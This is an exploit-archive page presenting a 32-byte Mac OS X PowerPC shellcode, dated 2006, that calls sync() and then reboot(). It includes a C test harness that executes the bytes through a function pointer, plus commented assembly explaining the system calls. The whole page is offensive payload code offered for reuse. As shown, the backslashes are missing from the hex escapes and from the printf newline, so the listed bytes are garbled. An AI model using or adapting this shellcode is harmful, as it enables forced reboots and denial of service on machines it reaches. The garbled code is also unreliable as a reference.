[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : os-x/ppc sync(), reboot() 32 bytes
# Published : 2006-05-01
# Author : hophet
# Previous Title : openbsd/x86 execve(/bin/sh) 23 bytes
# Next Title : os-x/ppc execve(/bin/sh), exit() 72 bytes


/*
 * [MacOSX/PowerPC]
 * Shellcode for: sync(), reboot()
 * 32 bytes
 * hophet [at] gmail.com
 * http://www.nlabs.com.br/~hophet/
 *
 */

#include <stdio.h>
#include <string.h>

char shellcode[] = 

"x7cx63x1ax79"
"x39x40x01x06"
"x38x0axffx1e"
"x44xffxffx02"
"x60x60x60x60"
"x39x40x01x19"
"x38x0axffx1e"
"x44xffxffx02";

int main() {

	void (*p)();
	p = (void *)&shellcode;
	printf("Lenght: %dn", strlen(shellcode));
	p();
}

/*
.globl _main
.text
_main:
	xor.	r3, r3,r3	// r3 = NULL
	li	r10, 226+36
	addi	r0, r10, -226	// r0 = 36
	.long	0x44ffff02	// sc opcode
	.long	0x60606060	// NOP
	li	r10, 226+55
	addi	r0, r10, -226	// r0 = 55
	.long	0x44ffff02	// sc opcode 
*/

// www.Syue.com [2006-05-01]